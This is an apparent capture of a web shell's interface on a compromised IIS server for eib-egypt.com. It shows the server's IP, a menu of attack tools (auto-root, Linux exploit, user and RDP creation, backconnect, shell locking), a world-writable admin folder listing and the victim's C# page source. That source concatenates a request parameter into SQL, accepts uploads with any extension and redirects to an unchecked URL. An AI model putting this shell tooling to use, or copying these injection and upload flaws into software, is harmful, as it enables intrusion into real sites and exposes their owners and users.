Windows NT HGWS2 10.0 build 14393 (Windows Server 2016) AMD64
Microsoft-IIS/10.0
: | : 3.14.72.80
Cant Read [ /etc/named.conf ]
8.3.19
IWPD_185(eibegypt)
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
D: /
InetPub /
vhosts /
eib-egypt.com /
httpdocs /
Admin /
[ HOME SHELL ]
Name
Size
Permission
Action
CLEditor1_4_3
[ DIR ]
drwxrwxrwx
JS
[ DIR ]
drwxrwxrwx
Pics
[ DIR ]
drwxrwxrwx
ckeditor
[ DIR ]
drwxrwxrwx
colorpickersliders
[ DIR ]
drwxrwxrwx
AdminTopBanner.ascx
121
B
-rw-rw-rw-
AdminTopBanner.ascx.cs
425
B
-rw-rw-rw-
Admin_MasterPage.master
8.1
KB
-rw-rw-rw-
Admin_MasterPage.master.cs
3.5
KB
-rw-rw-rw-
Admin_MasterPage_Action.master
844
B
-rw-rw-rw-
Admin_MasterPage_Action.master...
1.44
KB
-rw-rw-rw-
Admin_MasterPage_POP.master
976
B
-rw-rw-rw-
Admin_MasterPage_POP.master.cs
1.44
KB
-rw-rw-rw-
Admin_StyleSheet.css
2.94
KB
-rw-rw-rw-
Background-Style.aspx
5.78
KB
-rw-rw-rw-
Background-Style.aspx.cs
16.13
KB
-rw-rw-rw-
Border-Style.aspx
44.13
KB
-rw-rw-rw-
Border-Style.aspx.cs
21.86
KB
-rw-rw-rw-
BorderOnly-Style.aspx
39.69
KB
-rw-rw-rw-
BorderOnly-Style.aspx.cs
20.83
KB
-rw-rw-rw-
Default.aspx
551
B
-rw-rw-rw-
Default.aspx.cs
2.25
KB
-rw-rw-rw-
EditorPage.aspx
357.07
KB
-rw-rw-rw-
EditorPage.aspx.cs
158.4
KB
-rw-rw-rw-
EditorPage_Delete.aspx
1.85
KB
-rw-rw-rw-
EditorPage_Delete.aspx.cs
2.88
KB
-rw-rw-rw-
EditorPage_Update_Order.aspx
397
B
-rw-rw-rw-
EditorPage_Update_Order.aspx.c...
5.18
KB
-rw-rw-rw-
EditorPages.aspx
6.79
KB
-rw-rw-rw-
EditorPages.aspx.cs
10.64
KB
-rw-rw-rw-
Fonts.aspx
8.65
KB
-rw-rw-rw-
Fonts.aspx.cs
10.69
KB
-rw-rw-rw-
Groups_Hidden.aspx
2.36
KB
-rw-rw-rw-
Groups_Hidden.aspx.cs
3.15
KB
-rw-rw-rw-
Groups_New.aspx
3.45
KB
-rw-rw-rw-
Groups_New.aspx.cs
11.17
KB
-rw-rw-rw-
Groups_Update.aspx
4.47
KB
-rw-rw-rw-
Groups_Update.aspx.cs
13.53
KB
-rw-rw-rw-
Groups_Update_Hide.aspx
387
B
-rw-rw-rw-
Groups_Update_Hide.aspx.cs
1.8
KB
-rw-rw-rw-
Groups_Update_Order.aspx
389
B
-rw-rw-rw-
Groups_Update_Order.aspx.cs
4.77
KB
-rw-rw-rw-
HeaderFooterNew.aspx
1.12
KB
-rw-rw-rw-
HeaderFooterNew.aspx.cs
283
B
-rw-rw-rw-
Help.aspx
10.91
KB
-rw-rw-rw-
Help.aspx.cs
262
B
-rw-rw-rw-
InitiateModule.aspx
379
B
-rw-rw-rw-
InitiateModule.aspx.cs
15.9
KB
-rw-rw-rw-
Link-Style.aspx
115.94
KB
-rw-rw-rw-
Link-Style.aspx.cs
72.5
KB
-rw-rw-rw-
Login.aspx
2.35
KB
-rw-rw-rw-
Login.aspx.cs
4.55
KB
-rw-rw-rw-
Logos.aspx
5.34
KB
-rw-rw-rw-
Logos.aspx.cs
14.08
KB
-rw-rw-rw-
Module-Settings-Common.aspx
2.94
KB
-rw-rw-rw-
Module-Settings-Common.aspx.cs
5.57
KB
-rw-rw-rw-
Module-Settings.aspx
6.53
KB
-rw-rw-rw-
Module-Settings.aspx.cs
5.49
KB
-rw-rw-rw-
Photos-POP.aspx
6
KB
-rw-rw-rw-
Photos-POP.aspx.cs
12.97
KB
-rw-rw-rw-
Photos.aspx
5.9
KB
-rw-rw-rw-
Photos.aspx.cs
12.81
KB
-rw-rw-rw-
StartGroup.aspx
1.63
KB
-rw-rw-rw-
StartGroup.aspx.cs
4.67
KB
-rw-rw-rw-
Strip-Style.aspx
89.8
KB
-rw-rw-rw-
Strip-Style.aspx.cs
49.81
KB
-rw-rw-rw-
Text-Border-Style.aspx
54.86
KB
-rw-rw-rw-
Text-Border-Style.aspx.cs
31.23
KB
-rw-rw-rw-
Text-Style.aspx
8.67
KB
-rw-rw-rw-
Text-Style.aspx.cs
13.67
KB
-rw-rw-rw-
Text.aspx
3.06
KB
-rw-rw-rw-
Text.aspx.cs
3.71
KB
-rw-rw-rw-
UpperBanners.aspx
15.72
KB
-rw-rw-rw-
UpperBanners.aspx.cs
29.14
KB
-rw-rw-rw-
UpperBanners_InsertBlank.aspx
399
B
-rw-rw-rw-
UpperBanners_InsertBlank.aspx....
1.65
KB
-rw-rw-rw-
UpperBanners_Set_Effect.aspx
397
B
-rw-rw-rw-
UpperBanners_Set_Effect.aspx.c...
1.02
KB
-rw-rw-rw-
WUC_RightMenu.ascx
5.1
KB
-rw-rw-rw-
WUC_RightMenu.ascx.cs
8.99
KB
-rw-rw-rw-
try.aspx
15.38
KB
-rw-rw-rw-
try.aspx.cs
545
B
-rw-rw-rw-
try.htm
8.81
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Background-Style.aspx.cs
using System; using System.Data; using System.Configuration; using System.Collections; using System.Web; using System.Web.Security; using System.Web.UI; using System.Web.UI.WebControls; using System.Web.UI.WebControls.WebParts; using System.Web.UI.HtmlControls; using System.Drawing; using System.Drawing.Drawing2D; using System.Drawing.Imaging; using System.IO; public partial class Admin_Background_Style : System.Web.UI.Page { DBAccess.DBAccess ClSqlCmd; public void Page_Load(object sender, EventArgs e) { ClSqlCmd = new DBAccess.DBAccess(System.Configuration.ConfigurationSettings.AppSettings["SE_ConnectionString"]); /////////////////////////////////////////////////////////////////////////// if (!Page.IsPostBack) { GetData(); } } private Size NewthumbSize(int currentwidth, int currentheight, int MaxWH) { //Calculate the Size of the New image Double tempMultiplier; Size NewSize = new Size(); if (currentheight > currentwidth) // portrait { if (currentheight > MaxWH) { NewSize = new Size(Convert.ToInt32(currentwidth * MaxWH / currentheight), Convert.ToInt32(currentheight * MaxWH / currentheight)); } else { NewSize = new Size(Convert.ToInt32(currentwidth), Convert.ToInt32(currentheight)); } } else { if (currentwidth > MaxWH) { NewSize = new Size(Convert.ToInt32(currentwidth * MaxWH / currentwidth), Convert.ToInt32(currentheight * MaxWH / currentwidth)); } else { NewSize = new Size(Convert.ToInt32(currentwidth), Convert.ToInt32(currentheight)); } } return NewSize; } private string ImgRes_Save(string filepath, string id, int MaxWH) { System.Drawing.Image g = System.Drawing.Image.FromFile(filepath); ImageFormat thisFormat = g.RawFormat; Size thumbSize = new Size(); thumbSize = NewthumbSize(g.Width, g.Height, MaxWH); //create a new Bitmap the size of the new image Bitmap imgOutput = new Bitmap(thumbSize.Width, thumbSize.Height); //create a new graphic from the Bitmap Graphics graphic = Graphics.FromImage((System.Drawing.Image)imgOutput); graphic.SmoothingMode = SmoothingMode.HighQuality; graphic.InterpolationMode = InterpolationMode.HighQualityBicubic; graphic.PixelOffsetMode = PixelOffsetMode.HighQuality; //draw the newly resized image graphic.DrawImage(g, 0, 0, thumbSize.Width, thumbSize.Height); System.IO.FileStream fs = new FileStream(Request.MapPath("") + "\\Photos_Swfs\\" + id.ToString() + "_" + MaxWH.ToString() + filepath.Substring(filepath.LastIndexOf(".")), FileMode.OpenOrCreate); //imgOutput.Save(Response.OutputStream, thisFormat); //output to the user imgOutput.Save(fs, thisFormat); //output to the user //tidy up //dispose and free up the resources graphic.Dispose(); g.Dispose(); imgOutput.Dispose(); fs.Dispose(); g = null; return id.ToString() + "_" + MaxWH.ToString() + filepath.Substring(filepath.LastIndexOf(".")); } void GetData() { DataSet DS = ClSqlCmd.DataSetSel(@" SELECT [ModuleStyle_ID] ,[" + Request.Params["T"].Trim().Replace("'", "''") + @"_BackGround_ID] FROM [dbo].[__StandardEngine_T_ModuleStyles] where [Module_ID]=" + System.Configuration.ConfigurationSettings.AppSettings["SE_ModuleID"]); if (DS.Tables.Count > 0 && DS.Tables[0].Rows.Count > 0) { DataSet DS_Sub = new DataSet(); if (DS.Tables[0].Rows[0][Request.Params["T"].Trim().Replace("'", "''") + "_BackGround_ID"] != Convert.DBNull) { #region Get Data DS_Sub = ClSqlCmd.DataSetSel(@" SELECT [BackGround_ID] ,[background_color] ,[background_image] ,[background_repeat] ,[background_position_Hor] ,[background_position_Ver] ,[background_attachment] FROM [dbo].[__StandardEngine_T_BackGround] where [BackGround_ID]=" + DS.Tables[0].Rows[0][Request.Params["T"].Trim().Replace("'", "''") + "_BackGround_ID"].ToString()); #endregion #region Set Data if (DS_Sub.Tables.Count > 0 && DS_Sub.Tables[0].Rows.Count > 0) { if (DS_Sub.Tables[0].Rows[0]["background_color"] != Convert.DBNull) txt_background_color.Value = DS_Sub.Tables[0].Rows[0]["background_color"].ToString(); if (DS_Sub.Tables[0].Rows[0]["background_image"] != Convert.DBNull && DS_Sub.Tables[0].Rows[0]["background_image"].ToString() != "") { hdn_background_image.Value = DS_Sub.Tables[0].Rows[0]["background_image"].ToString(); img_background_image.ImageUrl = "../Photos_Swfs/" + DS_Sub.Tables[0].Rows[0]["background_image"].ToString(); tr_background_image.Visible = true; } else { hdn_background_image.Value = ""; img_background_image.ImageUrl = ""; tr_background_image.Visible = false; } if (DS_Sub.Tables[0].Rows[0]["background_repeat"] != Convert.DBNull) ddl_background_repeat.Value = DS_Sub.Tables[0].Rows[0]["background_repeat"].ToString(); if (DS_Sub.Tables[0].Rows[0]["background_position_Hor"] != Convert.DBNull) ddl_background_position_Hor.Value = DS_Sub.Tables[0].Rows[0]["background_position_Hor"].ToString(); if (DS_Sub.Tables[0].Rows[0]["background_position_Ver"] != Convert.DBNull) ddl_background_position_Ver.Value = DS_Sub.Tables[0].Rows[0]["background_position_Ver"].ToString(); if (DS_Sub.Tables[0].Rows[0]["background_attachment"] != Convert.DBNull) ddl_background_attachment.Value = DS_Sub.Tables[0].Rows[0]["background_attachment"].ToString(); } #endregion } } } protected void Button1_Click(object sender, EventArgs e) { DataSet DS = ClSqlCmd.DataSetSel(@" SELECT [ModuleStyle_ID] ,[" + Request.Params["T"].Trim().Replace("'", "''") + @"_BackGround_ID] FROM [dbo].[__StandardEngine_T_ModuleStyles] where [Module_ID]=" + System.Configuration.ConfigurationSettings.AppSettings["SE_ModuleID"]); if (DS.Tables.Count < 0 || DS.Tables[0].Rows.Count <= 0) { #region Insert New ModuleStyles ClSqlCmd.CommandExc(@" Insert into [dbo].[__StandardEngine_T_ModuleStyles] ( [ModuleStyle_ID] ,[Module_ID] ) values ( dbo.__StandardEngine_F_MaxID_ModuleStyles()+1 ," + System.Configuration.ConfigurationSettings.AppSettings["SE_ModuleID"] + @" )"); #endregion } else { #region Update in current ModuleStyles to NULL ClSqlCmd.CommandExc(@" update [dbo].[__StandardEngine_T_ModuleStyles] set [" + Request.Params["T"].Trim().Replace("'", "''") + @"_BackGround_ID]=NULL where [Module_ID]=" + System.Configuration.ConfigurationSettings.AppSettings["SE_ModuleID"]); #endregion //////////////////////////////////////////////////////////////////// if (DS.Tables[0].Rows[0][Request.Params["T"].Trim().Replace("'", "''") + "_BackGround_ID"] != Convert.DBNull) { #region Delete Current ClSqlCmd.CommandExc(@" Delete FROM [dbo].[__StandardEngine_T_BackGround] where [BackGround_ID]=" + DS.Tables[0].Rows[0][Request.Params["T"].Trim().Replace("'", "''") + "_BackGround_ID"].ToString()); #endregion } } #region Variables string str_BackGround_ID; string str_background_color; string str_background_image; string str_background_repeat; string str_background_position_Hor; string str_background_position_Ver; string str_background_attachment; #endregion //Get template style text string str_Style_Txt = System.IO.File.ReadAllText(Request.MapPath("") + "/../Templates/Background.css"); str_Style_Txt = str_Style_Txt.Replace("<Background>", Request.Params["T"].Trim().Replace("'", "''")); #region Deal with Prev BG File // Delete current banner file if (fil_background_image.Value != "" && img_background_image.ImageUrl != "") { try { System.IO.File.Delete(Request.MapPath("") + "\\" + img_background_image.ImageUrl); } catch { } } if (cb_background_image_Delete.Checked && img_background_image.ImageUrl != "") { try { System.IO.File.Delete(Request.MapPath("") + "\\" + img_background_image.ImageUrl); } catch { } } #endregion //Save new BG file #region Save BG File str_background_image=""; if (fil_background_image.Value != "") { #region Upload file if (fil_background_image.Value != "") { System.Web.UI.HtmlControls.HtmlInputFile File = fil_background_image; string str_fil_PicFileName = "BGPhoto_" + System.Configuration.ConfigurationSettings.AppSettings["SE_ModuleID"] + fil_background_image.PostedFile.FileName.Substring(fil_background_image.PostedFile.FileName.LastIndexOf(".")); File.PostedFile.SaveAs(Request.MapPath("") + "\\..\\Photos_Swfs\\" + str_fil_PicFileName); //str_Photo_URL_Large = "N'" + ImgRes_Save(Request.MapPath("") + "\\..\\Photos_Swfs\\" + str_fil_PicFileName, str_Photo_ID + fil_Photo_URL_Large.PostedFile.FileName.Substring(fil_Photo_URL_Large.PostedFile.FileName.LastIndexOf(".")), 1000) + "'"; hdn_background_image.Value = "url(../Photos_Swfs/" + str_fil_PicFileName + ")"; str_background_image = "N'" + str_fil_PicFileName + "'"; //System.IO.File.Delete(Request.MapPath("") + "\\..\\Photos_Swfs\\" + str_fil_PicFileName); } #endregion } else if (!cb_background_image_Delete.Checked && hdn_background_image.Value != "") { str_background_image = "N'" + hdn_background_image.Value + "'"; hdn_background_image.Value = "url(../Photos_Swfs/" + hdn_background_image.Value + ")"; } else { str_background_image = "NULL"; hdn_background_image.Value = "none"; } #endregion #region Insert _BackGround_ID str_BackGround_ID = ClSqlCmd.DataSetSel("select dbo.__StandardEngine_F_MaxID_BackGround()+1").Tables[0].Rows[0][0].ToString(); str_background_color = txt_background_color.Value!=""? ("N'" + txt_background_color.Value.Replace("'","''") + "'"):"NULL"; str_background_repeat = "N'" + ddl_background_repeat.Value + "'"; str_background_position_Hor = "N'" + ddl_background_position_Hor.Value + "'"; str_background_position_Ver = "N'" + ddl_background_position_Ver.Value + "'"; str_background_attachment = "N'" + ddl_background_attachment.Value + "'"; ClSqlCmd.CommandExc(@" INSERT INTO [dbo].[__StandardEngine_T_BackGround] ([BackGround_ID] ,[background_color] ,[background_image] ,[background_repeat] ,[background_position_Hor] ,[background_position_Ver] ,[background_attachment]) VALUES ( " + str_BackGround_ID + @", " + str_background_color + @", " + str_background_image + @", " + str_background_repeat + @", " + str_background_position_Hor + @", " + str_background_position_Ver + @", " + str_background_attachment + @" )"); #region Update style text str_Style_Txt = str_Style_Txt.Replace("<Background--background-color>", txt_background_color.Value); str_Style_Txt = str_Style_Txt.Replace("<Background--background-image>", hdn_background_image.Value); str_Style_Txt = str_Style_Txt.Replace("<Background--background-repeat>", ddl_background_repeat.Value); str_Style_Txt = str_Style_Txt.Replace("<Background--background-position-Hor>", ddl_background_position_Hor.Value); str_Style_Txt = str_Style_Txt.Replace("<Background--background-position-Ver>", ddl_background_position_Ver.Value); str_Style_Txt = str_Style_Txt.Replace("<Background--background-attachment>", ddl_background_attachment.Value); #endregion #endregion #region update current ModuleStyles ClSqlCmd.CommandExc(@" update [dbo].[__StandardEngine_T_ModuleStyles] set [" + Request.Params["T"].Trim().Replace("'", "''") + @"_BackGround_ID]=" + str_BackGround_ID + @" where [Module_ID]=" + System.Configuration.ConfigurationSettings.AppSettings["SE_ModuleID"]); #endregion #region write css files System.IO.File.WriteAllText(Request.MapPath("") + "/../CSS/" + Request.Params["T"].Trim().Replace("'", "") + ".css", str_Style_Txt); #endregion /////////////////////////////////////////////////////////////////////// if (Request.Params["retP"] != null && Request.Params["retP"] != "") { Response.Redirect(Server.UrlDecode(Request.Params["retP"])); } } }
Close